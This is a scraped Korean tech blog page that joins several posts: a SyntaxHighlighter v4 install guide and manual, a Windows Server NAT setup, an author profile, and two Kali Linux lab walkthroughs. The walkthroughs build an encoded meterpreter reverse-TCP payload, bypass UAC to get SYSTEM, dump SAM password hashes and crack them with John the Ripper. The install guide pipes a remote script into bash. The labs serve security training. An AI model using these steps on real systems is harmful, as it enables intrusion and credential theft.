SyntaxHighlighter v4에 대한 설치하는 법 입니다.

사실 이전에, SyntaxHighlighter v3를 사용하고 있었는데, 문득 v4가 나왔다는 것을 확인했습니다.

아무래도 v3와의 차이점은 크게 javascript 소스의 개수와 CSS 소스의 개수가 획기적으로 줄었다는 것 외에는 큰 차이는 없어보입니다.

다만, 지원되지 않는 기능이 몇 가지 있다는 것일 뿐...


제가 글을 작성하게된 계기는, v3의 기능을 공부해보려 했다가 v4가 흥미로워 넘어가게 되었습니다. 하하.

혹시 이미 SyntaxHighlighter를 설치하셨고, 보다 깔끔하게 활용하고 싶다면, 다음 링크를 살펴보시는 걸 추천합니다.

SyntaxHighlighter 메뉴얼


이제 각설하고, 본격적으로 설치방법으로 넘어가도록 하겠습니다.




01. 설치하기 전에 필요한 목록

먼저 설치를 하기 전에, 환경과 필요한 모듈의 목록을 소개하겠습니다.

설치를 위한 환경은 MAC OS가 아주 적절하지만, 저는 Ubuntu에서 설치를 수행했습니다.

제가 빌드를 수행했던 환경은 Ubuntu 18.04입니다.

운영체제

Ubuntu

( 권장 : Ubuntu 18.04 or Ubuntu 16.04 )

 필요한 모듈 목록

 Node.js

npm

git


먼저 우리가 필요한 목록을 설치해주기 앞서 업데이트를 해주도록 합시다.

npm의 경우는 Ubuntu에서 자체적으로 모듈이 설치할 수 있는 목록에 적용되지 않은 상태일 것입니다.

따라서 다음과 같은 설정을 해주셔야 합니다.

# sudo apt-get install curl

# curl -sL https://deb.nodesource.com/setup_6.x | bash -


만약 curl을 통해 nodejs에 대한 셋업이 되지 않으신다면 다음과 같이 에러를 체크해주시는 것도 좋은 방법입니다.

# sudo apt-get autoclean $$ apt-get clear cache 

혹은

# sudo rm -rf /var/lib/apt/*

# sudo apt-get update

저는 아래의 예제인 /var/lib/apt/*를 지워주고 업데이트를 수행해주니 오류가 해결되었습니다.




이제 설치를 위한 모듈들을 설치해보도록 합시다.

# sudo apt-get install -y git nodejs npm




02. Github에서 SyntaxHighlighter v4 다운로드

제가 사용하고 있는 SyntaxHighlighter v4는 사실 원래의 작성자가 아닌 다른 사용자가 수정해준 소스코드를 통해 빌드되었습니다.

원작자 : https://github.com/syntaxhighlighter/syntaxhighlighter.git

수정자 : https://github.com/karljacuncha/syntaxhighlighter.git

저는 두 번째 소스인 수정자의 소스를 이용하여 빌드하였습니다.


먼저 github에서 다운로드 하도록 합시다.

# git clone https://github.com/karljacuncha/syntaxhighlighter.git


이후 syntaxhighlighter라는 디렉토리가 생겼을 것입니다.

이제 여기서 해당 디렉토리에 들어가서 빌드를 시작하도록 합시다.

명령어는 다음과 같습니다.

# cd syntaxhighlighter

# ./node_modules/gulp/bin/gulp.js setup-project

# ./node_modules/gulp/bin/gulp.js build --brushes=all --theme=default


반드시 setup-project를 수행하고, 이후 build를 수행해주어야 합니다.

여기서 --brushes=all은 여러분께서 SyntaxHighlighter v3에서 사용한 모든 브러쉬 효과를 선택해주겠다는 의미입니다.

또한 --theme=default는 SyntaxHighlighter의 기본 테마를 설정해준다는 것입니다.


만약 빌드가 성공했다면, 이제 dist 디렉토리를 들어가보도록 합시다.

해당 디렉토리에서 다음과 같은 세 가지 파일이 생성되었다면 성공입니다.


theme.css

syntaxhighlighter.js

syntaxhighlighter.js.map


여러분의 티스토리에 혹은 워드프레스에 업로드하시면 됩니다.




03. SyntaxHighlighter v4 적용

여러분의 홈페이지나 블로그에 업로드하셨다면, 이제 적용해야 할 차례입니다.

빌드를 완료하셨다면, 이제 html head 부분에 다음과 같은 코드를 입력해주셔야 적용이됩니다.

아래의 코드를 적용해야 할 위치는 </head> 바로 위에 작성하시면 됩니다.

업로드하셔야 할 소스코드는 다음과 같습니다.

<!-- Syntax HighLighter V4-->
<link href="http://servername/syntaxhighlighter/theme.css" rel="stylesheet" type="text/css">
<script src="http://servername/syntaxhighlighter/syntaxhighlighter.js" type="text/javascript"></script>
<script src="http://servername/syntaxhighlighter/syntaxhighlighter.js.map" type="text/javascript"></script>

여기서 티스토리에 적용하시고자 하시는 분들께서는 조금 헷갈리실 수 있습니다.

servername/syntaxhighlighter/ 와 같은 부분은 티스토리에는 다르게 표현할 수 있습니다.

아래의 소스코드처럼 입력하시면 됩니다.

<!-- Syntax HighLighter V4-->
<link href="./images/theme.css" rel="stylesheet" type="text/css"/>
<script src="./images/syntaxhighlighter.js" type="text/javascript"></script>
<script src="./images/syntaxhighlighter.js.map" type="text/javascript"></script>

이제 SyntaxHighlighter v4가 적용될 것입니다.



보다 깔끔하고 멋진 표현을 위해 SyntaxHighlighter를 사용하고 싶으시면 다음 링크에서 메뉴얼을 살펴보시는 것을 추천합니다.

해당 메뉴얼은 SyntaxHighlighter v3, SyntaxHighlighter v4에서 모두 사용이 가능합니다.

단, collapse와 toolbar, smart-tabs의 기능은 v4에서 사용할 수 없습니다.(사용할 필요가 없는 기능은 삭제하거나 제대로 적용을 안 한 것 같습니다.)

SyntaxHighlighter 메뉴얼




이렇게 해서 설치 방법은 마무리하도록 하겠습니다.




'UTILITIES > SyntaxHighlighter' 카테고리의 다른 글

SyntaxHighlighter 매뉴얼(사용법)  (0) 2018.07.18


SyntaxHighlighter는 프로그램 소스를 좀 더 예쁘게 보여지도록 꾸며주는 효과가 있는 플러그인과 같습니다.

SyntaxHighlighter는 또한 현재까지 사용되고 있는 버전인 3.x와 현재 새로 만들어진 버전 4.x로 구분되어 있습니다.

여기서는 버전 3과 4의 메뉴얼의 구분이 없기 때문에, 한 번에 작성하였습니다.

단, 버전 4는 smart-tabs, toolbar, collapse가 제대로 동작하지 않습니다.

toolbar는 현재 버전 4에서는 아예 삭제되었습니다.




01. SyntaxHighlighter 명령어 요약

SyntaxHighlighter의 기본 명령어에 대한 설명을 시작으로 각각 하나씩 설명해보려 합니다.

일단 기본 명령어들은 다음과 같습니다.


이름


설명

 auto-links

true

URL을 클릭할 수 있도록 해주는 옵션입니다.

켜고 끌 수 있으며 기본으로 true(클릭시 URL로 이동)이 설정되어있습니다.

 class-name

' '

페이지에 생성될 모든 Highlighter 요소에 사용자 정의 클래스(혹은 여러 클래스)를 추가할 수 있습니다.

 collapse

 false

SyntaxHighlighter로 작성된 부분의 영역을 접었다 펴는 기능입니다.

기본적으로 접혀있지 않은 형태로 제공됩니다.

 first-line

 1

첫 번째 시작 라인 번호를 지정해주는 것입니다.

기본적으로 1로 지정되어있습니다.

 gutter

 true

줄 번호를 켜고 끄는 기능을 사용하는 것입니다.

기본적으로 켜져 있습니다.

 highlight

 null

어떠한 행의 번호를 선택하여 강조해주는 기능입니다.

기본적으로 번호가 지정되지 않아 꺼져있는 상태입니다.

 html-script

 false

HTML / XML 코드와 웹 개발에서 매우 공통적인 스크립트를 혼합하여 강조 표시를 할 수 있습니다.

 smart-tabs

 true

스마트 탭 기능을 켜고 끌 수 있습니다.

 tab-size

 4

탭(tab)의 사이즈를 지정해줍니다.

기본적으로 4로 되어있습니다.

 toolbar

 true

툴바 기능을 On/Off 해주는 기능입니다.


각각의 명령어에 대한 설명은 예제와 함께 작성해보도록 하겠습니다.


여기서 Source는 여러분께서 티스토리 혹은 워드프레스에 HTML로 작성할 소스를 말합니다.

여기서 Result는 여러분께서 티스토리 혹은 워드프레스에 Source를 작성했을 때 보여지는 결과로 나오는 것을 말합니다.




02. SyntaxHighlighter - auto-links

auto-links는 여러분께서 작성한 코드에 URL이 있을 경우, 그 URL에 클릭을 했을 시에 그 링크로 들어가지는 기능을 말합니다.

기본적으로 true 값으로 설정되어있으며, 이는 기본적으로 링크를 클릭했을 때 그 링크로 들어가지게끔 해준다는 의미입니다.

이제 예제를 보도록 하겠습니다.


Source

<pre class="brush: php; auto-links: false">
  /** https://kkamikoon.tistory.com */
  'https://kkamikoon.tistory.com'
</pre>


Result

  /** https://kkamikoon.tistory.com */
  'https://kkamikoon.tistory.com'


해당 예제에서는 auto-links를 false로 지정해주었습니다.

즉, 링크처럼 보이는 주소를 클릭해도 해당 주소로 들어가지지 않습니다.

하지만, Source에 있는 주소는 클릭이 되는 것을 볼 수 있습니다.




03. SyntaxHighlighter - class-name

class-name은 페이지에 생성될 모든 Highlighter 요소에 사용자 정의 클래스(혹은 여러 클래스)를 추가할 수 있습니다.

여러분께서 임의로 만들어낸 클래스를 SyntaxHighlighter 박스에 적용할 수 있다는 의미입니다.

기본으로는 ' ' 라고 되어있는데, 이는 작성된 클래스가 없이 SyntaxHighlighter가 적용된다는 것입니다.

만약 여기에 여러분이 정의할 새로운 클래스를 작성한다면, 모든 박스에 적용됩니다.

이제 예제를 보도록 하겠습니다.


Source

<style>
.class_name_demo { border: 5px solid #000; }
</style>

<pre class="brush: php; class-name: 'class_name_demo'">
  /** https://kkamikoon.tistory.com */
  'https://kkamikoon.tistory.com'
</pre>


Result

    /** https://kkamikoon.tistory.com */
    'https://kkamikoon.tistory.com'


예제의 Result를 확인해보시면 5px의 크기의 선들이 박스를 감싸고 있는 것을 볼 수 있습니다.

이는 우리가 만든 class_name_demo의 기능이 SyntaxHighlighter에 적용된 것을 볼 수 있습니다.

이 기능을 활용하여 여러분께서는 각각의 SyntaxHighlighter가 적용된 곳에 여러분의 임의의 클래스를 적용할 수 있습니다.




04. SyntaxHighlighter - collapse

collapse는 SyntaxHighlighter로 작성된 부분의 영역을 접었다 펴는 기능입니다.

이는 티스토리나 다른 워드프레스 및 블로그에서 자체적으로 접는 기능이 없더라도, 접을 수 있도록 도와주는 역할을 합니다.

기본적으로는 접히지 않은 형태로 출력되도록 false가 적용되어있습니다.

이제 예제를 보도록 합시다.


Source

<pre class="brush: php; collapse: true">
    Hello kkamikoon's world!
    This is collapsed code!!
    If you clicked 'expand source', you can see this.
</pre>


Result

    Hello kkamikoon's world!
    This is collapsed code!!
    If you clicked 'expand source', you can see this.


위의 Result를 살펴보시면 결과가 나타나지 않는 것을 볼 수 있습니다.

원래는 expand source라는 클릭 버튼이 있고, 이를 클릭하면 펼쳐지는 형태이지만, 제대로 동작하지 않는 것 같습니다.

현재 제가 사용하고 있는 버전은 SyntaxHighlighter v4이며, v3과 차이가 있습니다.



05. SyntaxHighlighter - first-line

first-line은 SyntaxHighlighter를 이용하여 작성한 소스소크드 줄번호의 시작번호를 지정해주는 기능입니다.

기본적으로 시작 번호는 1로 지정되어있습니다.

바로 예제를 보도록 합시다.


Source

<pre class="brush: php; first-line: 10">
    this is now tenth line,
    and this is eleventh!
</pre>


Result

  this is now tenth line,
  and this is eleventh!

여기서 Result의 결과를 살펴보면, 첫 번째 줄 번호가 10인 것을 볼 수 있습니다.

즉, 우리가 지정한 first-line에 10을 지정해주었기 때문에, 시작 번호가 10으로 변경되는 것입니다.

여기서 여러분께서는 소스코드의 시작 번호를 따로 지정해줄 수 있습니다.




06. SyntaxHighlighter - gutter

gutter는 줄 번호를 켜고 끄는 기능입니다.

기본적으로는 줄 번호가 표시되도록 설정되어있지만, 사용자가 임의로 설정을 끌 수 있습니다.

예제를 보도록 합시다.


Source

<pre class="brush: php; gutter: false;">
   /** https://kkamikoon.tistory.com *.
   'https://kkamikoon.tistory.com'
</pre>


Result

/** https://kkamikoon.tistory.com *.
'https://kkamikoon.tistory.com'


위의 Result를 확인하시면, 줄 번호가 사라진 것을 확인할 수 있습니다.

이제 기본 소스코드를 수정하여 모든 소스코드의 줄 번호를 삭제해줄 수도 있고, 줄 번호를 SyntaxHighlighter가 적용되는 곳마다 다르게 설정해줄 수도 있게됩니다.




07. SyntaxHighlighter - highlight

highlight는 어떠한 행의 번호를 선택하여 특정한 부분을 강조해주는 기능입니다.

기본적으로는 모든 영역이 강조되지 않은 상태로 설정되어있지만, 이 기능을 이용하면 특정 행의 번호를 강조해줄 수 있습니다.

이제 예제를 보도록 합시다.


Source

<pre class="brush: php; highlight: 2">
   line No.1
   line No.2
   line No.3
</pre>


<pre class="brush: php; highlight: [1, 3]">
   line No.1
   line No.2
   line No.3
</pre>


Result

line No.1
line No.2
line No.3


line No.1
line No.2
line No.3


위의 Result를 볼 때 첫 번째 예제는 줄 번호 2번을 강조하였고, 두 번째 예제는 줄 번호 1, 3번을 강조하였습니다.

즉, 줄을 하나 뿐만 아니라 여러 개의 줄 번호를 강조해줄 수 있다는 것입니다.

이 기능을 통해 설명하고자 하는 영역을 강조해보는 건 어떨까 합니다.




08. SyntaxHighlighter - html-script

html-script는 HTML / XML 코드와 웹 개발에서 매우 공통적인 스크립트를 혼합하여 강조 표시를 할 수 있는 기능입니다.

이는 예제를 통해 설명하도록 하겠습니다.


Source

<pre class="brush: php; html-script: true">
  <html>
  <body>
      <div style="font-weight: bold"><?= str_replace("\n", "<br/>", $var) ?></div>
 
      <?
      /***********************************
       ** Multiline block comments
       **********************************/
 
      $stringWithUrl = "http://alexgorbatchev.com";
      $stringWithUrl = 'http://alexgorbatchev.com';
 
      ob_start("parseOutputBuffer");      // Start Code Buffering
      session_start();
      ?>
  </body>
  </html>
</pre>



Result

html-script: true

  
  <html>
  <body>
      <div style="font-weight: bold"><?= str_replace("\n", "<br/>", $var) ?></div>
 
      <?
      /***********************************
       ** Multiline block comments
       **********************************/
 
      $stringWithUrl = "http://alexgorbatchev.com";
      $stringWithUrl = 'http://alexgorbatchev.com';
 
      ob_start("parseOutputBuffer");      // Start Code Buffering
      session_start();
      ?>
  </body>
  </html>


html-script: false

  
  <html>
  <body>
      <div style="font-weight: bold"><?= str_replace("\n", "<br/>", $var) ?></div>
 
      <?
      /***********************************
       ** Multiline block comments
       **********************************/
 
      $stringWithUrl = "http://alexgorbatchev.com";
      $stringWithUrl = 'http://alexgorbatchev.com';
 
      ob_start("parseOutputBuffer");      // Start Code Buffering
      session_start();
      ?>
  </body>
  </html>

위의 Result는 true일 때와 false일 때를 구분하여 작성해보았습니다.

true일 때와 false일 때의 차이는 눈썰미가 좋으신 분은 바로 보였을 것입니다.

html-script를 true적용을 했을 때 구문이 마치 좀 더 웹 소스코드처럼 보이도록 강조해주는 효과가 있는 것을 볼 수 있습니다.

만약 웹 소스코드를 작성하실 때 php로 작성하더라도 소스코드가 이쁘지 않다면, html-script를 true로 해보면 좋을 것 같습니다.




09. SyntaxHighlighter - smart-tabs

smart-tabs는 스마트 탭을 On/Off를 적용하는 기능입니다.

이는 예제를 통해 설명하도록 하겠습니다.


Source

smart-tabs: true

<pre class="brush: php; smart-tabs: true">
	hello there!	  ya!
	hello	ya!
</pre>

smart-tabs: false

<pre class="brush: php; smart-tabs: false">
	hello there!	  ya!
	hello	ya!
</pre>


Result

smart-tabs: true

	hello there!	  ya!
	hello	ya!

smart-tabs: false

	hello there!	  ya!
	hello	ya!


위의 Result를 보시면 별 차이점을 볼 수 없습니다. 기본적으로 대부분 smart-tabs을 요즘 지원하고 있는 형태이기 때문입니다.

여러분은 아마 SyntaxHighlighter에서 smart-tabs를 false로 끌 일이 없으실 것입니다.

어쩌면 꺼도 효과가 안 나타날 수 있습니다.




10. SyntaxHighlighter - tab-size

tab-size는 탭의 크기를 지정해주는 기능입니다.

tab-size는 기본적으로 띄어쓰기 4개 즉, 4로 지정되어있습니다.

예제를 보도록 합시다.


Source

tab-size: 4

<pre class="brush: js; tab-size: 4">
	123	123	123
	1	2	3
</pre>

tab-size: 8

<pre class="brush: js; tab-size: 8">
	123	123	123
	1	2	3
</pre>

Result

tab-size: 4

	123	123	123
	1	2	3

tab-size: 8

	123	123	123
	1	2	3






11. SyntaxHighlighter - toolbar

toolbar는 툴바 기능을 On/Off해주는 기능입니다.

이 기능은 사실상 사용하지 않은 기능인 것 같습니다.

눈에 띄는 효과가 없어 보입니다.




여기까지 해서 SyntaxHighlighter의 기능을 알아보았습니다.





'UTILITIES > SyntaxHighlighter' 카테고리의 다른 글

SyntaxHighlighter v4 설치 방법 - Ubuntu  (1) 2018.07.19

Windows Server 2012 R2에서 NAT 서비스를 이용하기 위해 설치를 해보았습니다.

실습은 VMware에서 진행하였지만, 실제 리얼 환경으로도 테스트를 해보았습니다.

생각보다 어려운 작업이었습니다. 흑흑..


01. 사전 준비

만약 여러분께서 리얼 환경으로 NAT 서비스를 설치하고자 하실 때는 반드시 LAN 카드 두 개가 필요합니다.

하지만 실습으로써, VMware에서 작업하신다면 단순히 Network Adapter를 두 개 설치하시면 됩니다.

Network and Internet -> Network and Sharing Center 에서 Ethernet이 두 개 잡히신다면 준비는 끝났습니다.




02. 서비스 매니저를 통한 NAT 설치

이더넷이 두 개 잡히는 것을 확인했다면, Service Manager(서비스 매니저)를 통한 설치를 진행합시다.

먼저 Service Manager를 키신 후에 Manage(관리)를 클릭합니다.

이후 Add Roles and Features(역할 및 기능 추가)를 클릭합니다.


이후 Add Roles and Features Wizard(역할 및 기능 추가 마법사)가 나타납니다.

Before You Begin(시작하기 전)에서는 바로 다음으로 넘어가줍니다.

(선택할 게 없어용 씽긋)


Installation Type(설치 유형)에서는 Role-based or feature-based installation 을 선택해줍니다.

아마 기본으로 설정되어있을 것입니다.

다음으로 넘어가줍니다.


Server Selection(서버 선택)에서는 디폴트로 Select a server from the server pool을 선택해줍니다.

마찬가지로 이 역시 기본으로 설정되어있을 것입니다.

다음으로 넘어가줍니다.


여기서 중요합니다.

NAT 설치를 위해 선택해야 하는 항목이 바로 Remote Access(원격 액세스)를 선택해주셔야 합니다.

이후 다른 서비스는 선택하지 않은 상태로 다음으로 넘어가주시면 됩니다.


Features(기능)에서는 건드릴 설정이 없습니다.

기본으로 설정되어있는 .NET Framework 4.5 Features (2 of 7 installed)만 선택된 상태로 다음으로 넘어가주시면 됩니다.


Remote Access(원격 액세스) -> Role Services(역살 서비스)에서는 두 가지를 선택해주셔야 합니다.

DirectAccess and VPN(RAS) (DirectAccess 및 VPN)Routing(라우팅) 입니다.

이 두 가지를 선택하신 후 Confirmation(확인) 까지 쭉 넘어가주시면 됩니다.


Confirmation(확인)에서는 반드시 Restart the destination server automatically if required(필요시 자동으로 다시시작)을 선택해주셔야 합니다.

아마 다시시작하여 설치가 마무리 될 것입니다.



03. 라우팅 및 원격 액세스 실행을 통한 NAT 실행(및 설정)

위의 과정으로 설치가 마무리 되었다면, 이제 NAT를 실행해야 합니다.

먼저 Tools(도구)에서 Routing and Remote Access(라우팅 및 원격 액세스)를 선택합니다.


해당 도구를 클릭하시면 다음과 같은 화면이 나옵니다.

여기서 우리는 WIN-BL782UI95K7이라는 서버를 볼 수 있습니다.

색깔이 빨간색으로, 아직 서비스가 실행중이지 않은 상태를 보여줍니다.

WIN-BL782UI95K7 과 같이 새로 생긴 서버를 우클릭을 해줍니다.


우클릭을 하시면, Configure and Enable Routing and Remote Access(라우팅 및 원격 액세스 구성 및 사용) 이 가장 위에 있을 것입니다.

이를 클릭합니다.


Configuration(구성)에서 우리는 NAT 즉, Network address translation(네트워크 주소 변환)을 선택해줍니다.

선택 후 다음으로 넘어가줍니다.


여기서 중요한 것은 우리가 NAT용으로 사용할 랜카드인터넷과 연결하여 사용할 랜카드를 구분해야 합니다.

NAT용으로 사용할 랜카드는 Ethernet0(10.0.0.100)이라고 하고,

인터넷과 연결하여 사용할 랜카드는 Ethernet1(192.168.142.159)라고 하면,

여기서 우리는 인터넷과 연결된 랜카드를 선택해주어야 합니다.

여기서는 Ethernet1(인터넷과 연결된 랜카드)을 선택했습니다.



이후 Enable basic name and address services를 선택해주시고 계속 다음을 눌러주시면 됩니다.

아마 기본으로 설정되어있을 것입니다.


계속 다음으로 넘어가시고 Finish(완료)를 눌러주시면 서비스가 자동으로 시작됩니다.




04. 추가적인 작업

만약 여러분께서 실제 환경으로 실습하셨다면, 랜카드가 두 개일 것입니다.

해당 만약 여러분께서 10.0.0.100과 같이 내부 네트워크로 사용하고자 하는 랜카드를 통해 NAT를 수행하고자 하신다면, 필요한 물건이 두 가지 있습니다.

내부 네트워크와 연결할 LAN 선허브 입니다.

연결 구조는 다음과 같이 구성할 수 있겠습니다.



끄읕.





이름 : 황정식

닉네임 : kkamikoon

이메일 : rootsik1221@gmail.com, kkamikoon@gmail.com

[ 소속 ]

  • 라온시큐어 라온화이트햇 핵심연구팀(2020.01. ~ )
  • 해킹&보안팀 NOAR (2019.04. ~ )
  • 해킹&보안팀 SaturnX (2021.02 ~ )
  • 라온시큐어 라온화이트햇 프로젝트팀(2018.12. ~ 2019.12.)

[ 활동이력 ]

  • 2021.03.27. - HSpace CTF 운영(Platform 제공 및 문제 출제) (Team. SaturnX)
  • 2020.12.25. - Christmas CTF, 3rd (Team. 상금은주식에)
  • 2020.08.22. - BOB 9th CTF 페이지 제작 및 운영
  • 2020.08.18. - Hackers Playground 2020, 3th (Team. ONE)
  • 2019.07.27. - 경기도 정보보호 해커톤 NOAR 팀 1위 (일반)
  • 2019.09.07. - Defcamp CTF Qualifier 13th (Team. NOAR)
  • 2019.11.18. - 제 2회 개인정보보호 정책 아이디어 공모전 NOAR 팀 우수상
  • 2019.11.22. - K-사이버 시큐리티 챌린지 2019(트랙 6) NOAR 팀 3위
  • 2019.12.25. - Christmas CTF, 3rd (Team. 원요한여친구함)

[ 강의/발표 ]

  • 제 2회 미래와소프트웨어재단 - 꿈 찾기 캠프 화이트해커 멘토링 (2020. 08. 22)
  • 목포대학교 정보보호 영재교육원 (2019. 11. 02) - 웹 모의해킹 원리 이해와 실습
  • 2021 원격영상 진로멘토링(2021. 05 ~ 2021. 12) - 사이버보안 전문가 화이트해커

[ 오픈소스 ]

 

kkamikoon/wol-flask

Personal Wake On Lan management web using Flask. Contribute to kkamikoon/wol-flask development by creating an account on GitHub.

github.com

 

kkamikoon/ownblog

You can operate your own blog using flask + bootstrap 5 - kkamikoon/ownblog

github.com

[ 자격증 ]

  • 2016.11. - 정보처리기사, 한국산업인력공단

[ Reference ]

 

 

'ABOUT' 카테고리의 다른 글

블로그 이관(oopy)  (0) 2023.04.17
적용 스킨 및 SyntaxHighlighter  (0) 2016.10.15

해당 게시글은 kali linux 2017 amd64기준임을 말씀드립니다.

해당 게시글을 보기 전에 필수적으로 Metasploit - Reverse TCP를 이용한 세션 연결이 필요합니다.


실습 환경은 다음과 같습니다.

 구분

내용

 공격자 PC 환경

Kali Linux 2017 amd 64

 피해자 PC 환경

 Windows 7 Pro 32Bit

 가상 환경

 VMware Player(or Workstation)


01. Metasploit BypassUAC Exploit 실습

해당 실습은 Metasploit - Reverse TCP Exploit과 연결되어 진행되는 실습이기 때문에 위의 실습과정 이후 실습을 진행하기 바랍니다.

먼저 exploit을 이미 진행하였다는 가정 하에 meterpreter > 가 띄워져 있다고 가정을 하고 진행하도록 하겠습니다.

다음 명령어를 사용하여 system의 권한을 가져와 권한상승을 시도해보도록 합시다.

명령어는 다음과 같습니다.

meterpreter > getsystem 


getsystem 명령어를 사용해본 결과 실패했다는 문구가 뜨고 변화가 없는 모습을 보여줍니다.

이는 적절한 사전 준비가 되지 않았음을 의미합니다.

여기서 우리는 bypassuac라는 exploit 기법을 이용하여 세션의 힘을 더해줄 필요가 있습니다.




02. Exploit 활용 - bypassuac를 이용한 권한 상승

먼저 다음 명령어를 통해 세션을 background로 보내도록 합니다.

명령어는 다음과 같습니다.

meterpreter > background 



기존의 세션을 백그라운드로 보내면 다시 권한상승을 위한 모듈을 로드해야 합니다.

여기서 필요한 건, bypassuac 모듈과 백그라운드로 보낸 세션의 번호입니다.

사용할 명령어는 다음과 같습니다.

msf exploit(handler) > use exploit/windows/local/bypassuac

msf exploit(bypassuac) > set SESSION 1


우리가 연결했던 세션의 번호가 1이라면, bypassuac에서도 동일하게 해당 세션을 통해 연결을 수행할 계획입니다.

즉, 이미 연결된 세션을 통해 bypassuac의 exploit이 수행된다는 의미입니다.


해당 명령어를 사용하여 bypassuac로 변경한 후, 우리가 사용하고 있었던 sessions 1을 bypassuaac에 설정해줍니다.

그러면 이제 bypassuac도 우리가 연결해두었던 세션을 통해 새로운 기능을 사용할 수 있게 됩니다.

이제 exploit을 진행해보도록 합시다.

명령어는 단순하게 다음과 같습니다.

msf exploit(handler) > exploit 



해당 명령어를 실행하면 새로운 세션이 Default Port를 통해 생성됩니다.

session ID는 2로 생성될 것입니다.

이제 새롭게 생성된 session에서 getsystem을 사용해보도록 합시다.

명령어는 다음과 같습니다.

meterpreter > getsystem



해당 명령어를 실행하면 ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).이라는 문구와 함께 시스템의 권한이 상승되었음을 알려줍니다.

해당 시스템에서 우리의 권한이 어느정도 되는지 확인해보도록 합시다.

명령어는 다음과 같습니다.

meterpreter > getuid

meterpreter > getsid



해당 명령어를 사용하여 권한을 확인해보면 NT AUTHORITY\SYSTEM이 보이면서 S-1-5-18임을 확인 할 수 있습니다.

이는 SYSTEM 권한임을 알려주며, Windows 7에서는 Trusted Installer 다음으로 가장 높은 권한입니다.

즉, Administrator 권한보다 높은 권한으로 많은 기능을 제약없이 사용할 수 있게 되었다는 의미입니다.




03. Exploit 활용 - SAM 내부에 있는 Hashdump 추출

SAM 파일은 타겟 윈도우 시스템의 사용자의 계정명과 패스워드 해시를 저장하는 파일입니다.

원래는 Administrator 권한이더라도 해당 SAM 파일에 대한 읽기 권한, 쓰기 권한이 존재하지 않습니다.

하지만 해당 파일에는 우리가 원하는 계정명과 Hash 등의 정보가 있기 때문에 이 파일에 접근해야 하니다.

단, 이는 반드시 권한상승이 되어 있는 상태에서 가능한 실습입니다.

때문에 위의 실습을 모두 마치고 진행해야 합니다.


다음 명령어를 통해 SAM 파일에 있는 Hashdump를 사용하여 해당 정보를 가져오도록 합시다.

meterpreter > run post/windows/gather/hashdump 



해당 명령어를 사용하면 각 계정별 Hash 값 및 계정 정보를 얻을 수 있습니다. 이제 해당 값을 복사하여 크랙을 시작하도록 합시다.


04. Exploit - john the ripper를 이용한 크랙

이제 우리가 사용할 프로그램은 john the ripper라는 프로그램으로 Hashdump 파일을 크랙하기 위해 필요한 프로그램입니다.

위의 두 파일은 우리가 크랙하기 위한 Windows Hashdump 파일과 사전공격(Dictionary Attack)을 위한 사전 파일입니다.

Hashdump 파일을 살펴보면 세 개의 계정에 대한 정보가 나타나 있는 것을 볼 수 있습니다.


다음 명령을 통해 Hashdump파일을 크랙하도록 합시다.

 파일

설명

 HashFile.txt

 해쉬 덤프를 저장한 파일

 PW.txt

 패스워드 사전 공격에 필요한 데이터를 저장한 파일


명령어는 다음과 같습니다.

~# john /root/Desktop/HashFile.txt -format=NT -wordlist=/root/Desktop/PW.txt  



PW.txt에는 해당 해쉬값의 정답이 들어있기 때문에 0초밖에 걸리지 않았다고 하지만, 실제로는 매우 오래 걸리는 작업입니다.


여기까지 실습을 마치도록 하겠습니다.


'LINUX > Kali Linux' 카테고리의 다른 글

Metasploit - Reverse TCP를 이용한 PC원격 조종  (2) 2017.07.16

해당 게시글은 kali linux 2017 amd64기준임을 말씀드립니다.


실습 환경은 다음과 같습니다.

 구분

내용

 공격자 PC 환경

Kali Linux 2017 amd 64

 피해자 PC 환경

 Windows 7 Pro 32Bit

 가상 환경

 VMware Player(or Workstation)


01. Metasploit 익스플로잇 파일 생성


Metasploit 익스플로잇 파일 생성 명령어는 다음과 같습니다.

~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai 0i 5 -b '\x00' LHOST=[공격자 IP] LPORT=[우리가 원하는 포트] -f exe > [파일이름]


metasploit은 변경사항 때문에 명령어가 많이 달라졌습니다.

달라진 명령어는 msfvenom으로 되어있습니다.

명령어가 잘 안 보일 수 있기 때문에 아래에 추가적인 설명과 함께 Text로 작성해보았습니다.


msfvenom에서 x86/shikata_ga_nai를 사용하는 이유는 아래의 그림과 같아서 그렇습니다.

아래의 그림을 보면 Name, Rank, Description으로 구분되어 있는데, 해당 그림에서 Rank를 살펴보면 good, manual, low, normal, excellent 등으로 구분되어 있습니다.

우리는 이 중에서 excellent로 되어있는 encoder를 사용하도록 해야 합니다.

metasploit에서 인코더에 대한 정보를 검색하기 위한 명령어는 다음과 같습니다.

~# msfvenom -l encolders



msfvenom 명령어에 대한 각각의 설명은 아래와 같습니다.

명령어(옵션)

내용

 -p windows/meterpreter/reverse_tcp

reverse_tcp로 된 meterpreter를 payload에 사용함

 -e x86/shikata_ga_nai

인코더는 x86/shikata_ga_nai를 사용함

 -i 5 -b '\00'

쓸 데 없는 char를 지우기 위함임

 LPORT=[우리가 원하는 포트]

Default 포트(meterpreter에서 사용되는 포트)의 숫자는 4444이다.




02. Metasploit Reverse TCP Exploit 실습

msfvenom 명령어를 통해 파일을 생성하며, 그 파일을 통해 Reverse TCP Exploit 실습을 진행하도록 합니다.

생성된 파일을 피해자 PC인 Windows 7 시스템에 옮기도록 합니다.

여기서 옮긴 파일의 이름은 Intel_HackerFile.exe 파일입니다.

만약 공격자의 프로그램이 피해자 시스템에서 실행될 때 두 가지 상태를 관찰할 수 있습니다.

첫 번째로, 공격자 PC에서 아무런 조치 없이 실행을 시키게 되면 아무런 일이 일어나지 않은 채 5초 후 꺼지게 됩니다.

두 번째로, 공격자 PC에서 연결 상태를 관찰하는 설정이 되어있으면, 실행시 바로 공격자와 연결됩니다.

때문에 먼저 Exploit 파일을 실행하기 앞서 공격자 PC에서 적절한 설정이 필요합니다.




03. Exploit 설정 - reverse_tcp

먼저 공격자 PC에서 msfconsole이라는 명령을 통해 metasploit 콘솔 창을 열도록 합니다.

msfconsole을 열기 위한 명령어는 다음과 같습니다.

~# msfconsole


아래의 그림은 msfconsole을 입력하고 콘솔 창을 띄운 그림입니다.

해당 창을 띄웠을 때 그림은 조금 다를 수 있으니 당황하지 않도록 합시다.

이제 msf> 라는 커맨드 창이 있을 것입니다.

해당 커맨드 창에서 각종 명령어를 입력합니다.

아래의 그림은 reverse_tcp 익스플로잇 설정을 말합니다.

reverse_tcp를 사용하기 위해서는 다음과 같은 명령어를 입력해주어야 합니다.

msf > use exploit/multi/handler

